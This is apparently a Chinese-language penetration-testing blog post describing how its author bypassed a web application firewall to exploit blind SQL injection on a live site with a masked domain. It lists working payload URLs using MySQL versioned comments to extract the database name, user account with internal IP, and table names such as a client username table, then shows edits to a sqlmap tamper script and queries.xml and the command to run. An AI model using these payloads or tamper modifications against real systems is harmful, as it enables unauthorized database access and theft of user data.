前言
滲透測試過程中遇到注入點常常丟到sqlmap中進行測試,假如網站有waf,sqlmap便無法直接注入了。
測試
在測試某個項目的過程中,一個頁面的aid參數,習慣性的提交 and 1=1發現直接403了。
測試了其他的一些參數,發現過濾了大部分的注入命令,但是可以利用mysql的注釋方法進行繞過,例如網站會攔截sleep()函數,可以利用/!50000sleep(5)/繞過攔截,接上url試試:
http://**.com/lightapp/detail.php?qid=17364076 and /*!50000sleep(5)*/
發現會sleep幾秒 😃,看來是存在sql注入的,先獲取下數據庫的長度:
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=1
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=2
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=3
...
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=8
到8的時候網頁返回正確,可以獲取到當前的數據庫長度為8,繼續往下猜:
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/left(database(),8)=CHAR(115,105,116,101,100,97,116,97)
最終猜出的數據庫名為:
sitedata
可以使用如下語句得出當前數據庫用戶為:
mysql_data@192.168.113.8
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/left(user(),23)=CHAR(109,121,115,113,108,95,100,97,116,97,64, 49,57,50,46,49,54,56,46,49,49,51,46,56)
查詢當前數據庫的第一個表名的長度可以使用語句:
http://**.com/lightapp/detail.php?qid=17364076/*!and*/length((select/*!50000table_name*//*!from*//*!information_schema.t ables*/limit+0,1))=13
得出第一個數據表名的長度為13,試查詢第二個數據表的表名,使用語句:
http://**.com/lightapp/detail.php?qid=17364076/*!and*/left((select/*!50000table_name*//*!from*//*!information_schema.tab les*/limit+1,1),1)=char(99)
使用上述語句得到表名第一個字符的ascii碼,依次類推:
http://**.com/lightapp/detail.php?qid=17364076/*!and*/left((select/*!50000table_name*//*!from*//*!information_schema.tab les*/limit+1,1),17)=char(99,108,105,101,110,116,95,117,115,101,114,110,97,109,101,100,98)
得到第二個數據表的表名為
client_usernamedb
依次類推變可查詢到所有數據。
修改Sqlmap tamper
\sqlmap\tamper目錄
apostrophemask.py
apostrophenullencode.py
appendnullbyte.py
base64encode.py
between.py
bluecoat.py
chardoubleencode.py
charencode.py
charunicodeencode.py
commalesslimit.py
commalessmid.py
concat2concatws.py
equaltolike.py
escapequotes.py
greatest.py
halfversionedmorekeywords.py
htmlencode.py
ifnull2ifisnull.py
informationschemacomment.py
lowercase.py
modsecurityversioned.py
modsecurityzeroversioned.py
multiplespaces.py
nonrecursivereplacement.py
overlongutf8.py
percentage.py
plus2concat.py
randomcase.py
randomcomments.py
securesphere.py
space2comment.py
space2dash.py
space2hash.py
space2morehash.py
space2mssqlblank.py
space2mssqlhash.py
space2mysqlblank.py
space2mysqldash.py
space2plus.py
space2randomblank.py
sp_password.py
symboliclogical.py
unionalltounion.py
unmagicquotes.py
uppercase.py
varnish.py
versionedkeywords.py
versionedmorekeywords.py
xforwardedfor.py
可惜的是沒有合適本次注入點的腳本。
下面利用halfversionedmorekeywords.py這個腳本做修改,即可繞過上面的注入,看一下腳本中注釋部分:
\sqlmap\tamper\halfversionedmorekeywords.py
38行
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
修改為:
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0 CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
可以看到這個腳本所實現的效果是替換空格和關鍵字為/*!0,可將腳本的第45行:
return match.group().replace(word, "/*!0%s" % word)
修改為:
return match.group().replace(word, "/*!50000%s*/" % word)
可以繞過第一步攔截,接着將sqlmap其他提交payload的地方進行修改,程序只要將關鍵字進行/!50000關鍵字/就會繞過攔截,這個注入同時會攔截cast函數,可將其改成convert函數也可以繞過攔截,sqlmap/xml/queries.xml改為convert(%s,CHAR),dbms一定要對應相同類型的數據庫,代碼如下:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- MySQL -->
<dbms value="MySQL">
<cast query="CAST(%s AS CHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
<delimiter query=","/>
<limit query="LIMIT %d,%d"/>
Cast部分修改為:
<cast query="convert(%s,CHAR)"/>
為了讓讀者更加理解為什么要在這里修改,推薦讀者看一篇文章:
改完后執行:
python sqlmap.py -u "http://**.com/lightapp/detail.php?qid=17364076" –tamper "halfversionedmorekeywords.py"
總結
簡單的總結下,Sqlmap tamper提供了很多的demo,我們可以根據實際情況進行相應的修改應用即可。
